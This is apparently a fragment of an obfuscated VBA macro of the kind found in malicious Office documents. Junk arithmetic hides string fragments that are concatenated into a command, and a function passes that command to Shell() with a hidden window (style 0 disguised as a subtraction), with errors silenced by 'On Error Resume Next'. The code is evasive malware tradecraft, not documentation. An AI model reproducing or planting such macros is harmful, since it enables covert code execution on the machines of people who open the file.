TAuFz = 27913 + qKnilb / jBdpJz / YYFpZ - kjhQCw - 80383 / Yujvcc / 71413 * 5322 * zbQfqI / BAbzvb * PXbFGc
   jBaXK = 84108 + EvjIOZ / kzuuJ / nJrSh - Qhlul - 6030 / LKupG / 23416 * 44416 * vZposr / bMVjN * XaKHqJ
wTPPPH = "" + lQLHutjWUVqHN + tbDPCUqf + "VA" + TXBWiaL + fPfBkHUEiZkh + "rIA" + TLfYHdVuk + aWiAqvf + "bl" + dsOaTIiPMFL + JiLwBEoQk + "e  '" + AKkpEniFr + bzFFwvFifCcI + "of"
pstbAK = 85956 + zaJXs / YaGjq / GNtvF - LCwOXB - 45076 / PvldrQ / 85240 * 25201 * fwaDuK / vwRpp * wzVGzq
poSZUflXEkz = "" + HAwvcpc + ftONzfqQsuT + "s'" + iEownIkRBzRc + EzhOSGrJvMk + " ' '" + QiwUPbYSuGfCU + dvwlJElR + " )" + AUrYIbMoRUi + CBQHKtBLwBi + "\" + Chr(34)
iAuPTBZVaF = "" + QzoliRnnOGjtli + DkaZSuktz + VdkkjcGwcqf + JUCSJsILMz + RQpnukNZOizuQ + TrcKiwjIF + hWPvoDt + MnXBcTHOX + wTPPPH + JcGpIjCJ + HCAmbpzDrm + poSZUflXEkz
   RWqMP = 51194 + lqsiwT / HVFVZ / FmvuYu - fHOEZJ - 98084 / SsUlOY / 76554 * 63880 * DoVhT / PVYSL * bwnVoS
   WbGNMw = 89749 + iXVzwE / ZnFBj / vElWO - iJLjJ - 69152 / GijvW / 10044 * 29445 * ojjAp / ZXPlk * kaWUqz
End Function
Function qBjcFUL()
On Error Resume Next
HzowiX = 82407 + jTwndt / nsdSrB / cikFUw - ubPdPm - 49903 / GVZsX / 83735 * 18188 * VSmkK / aCtwVX * NcDrC
   JmUTpc = 70070 + KERFYr / YEMFwi / qnEqw - PaGKFj - 87334 / BOiZf / 70872 * 25712 * tZDED / jFXcFI * jPwfDU
   iKNHEZ = 73352 + twiuS / PmhOV / BNkTR - EstVA - 40867 / RZKFf / 61148 * 71609 * TJuSa / nwpWd * iqUatp
LYfnjMa = "" + NXwIpBwEhBikGi + BrwRuDzWoabEk + ")" + Chr(34) + " " + dQHFlwJlDptIU + YHPkswDDwJXbTO
qBjcFUL = "" + UVLEUzdStrGvc + fbtCTozTraMIvO + LYfnjMa
   wsUzJq = 89348 + GVNJh / NMkVM / jAiBn - uqYXi - 50040 / vsznSp / 52645 * 83334 * aAIFiH / rARwzC * JSMmwE
   XdvYnI = 81283 + YizrBs / bzOsz / LFEUCU - HqhEXB - 67154 / jcIWl / 33612 * 57651 * rHRwRl / hWWOL * qEknL
   mnMlXO = 47870 + jldqZ / shsnMh / Qbztz - VGCfmt - 85501 / VttjO / 35455 * 67005 * NVLVca / uIrPLV * OraZD
End Function

Function LOjXRfB(ictiUznJDGvwsn)
On Error Resume Next
   ijGVcR = 70113 + YYPHfc + WzIEtT * VOBSL - 68894 - ahmLiz - NSQWFj * vGckh
   fsjXG = 22583 + EqoAs + wipkli * PkUHH - 98094 - dZUoso - dZUVjP * fvuaU
   SQtfUO = 84351 + JFAFw + dvwcpI * riokIZ - 16655 - hdjPf - WSDib * wGQEi
iZWAZQkwVC = Shell(ictiUznJDGvwsn, 202156612 - 202156612)
   mpkdWE = 89635 + widqQ + pGTDC * CtqznR - 31883 - fbAfGc - QVqJnw * bUpzY
   LTjAu = 72801 + wkqEnJ + VizjnZ * lcuOl - 71670 - VKptZ - UIQfM * DRlAEA
   hoFLQM = 52060 + FuMoju + bRpSbG * tzOmjk - 33713 - FFUfst - XwSoo * ISmmD
End Function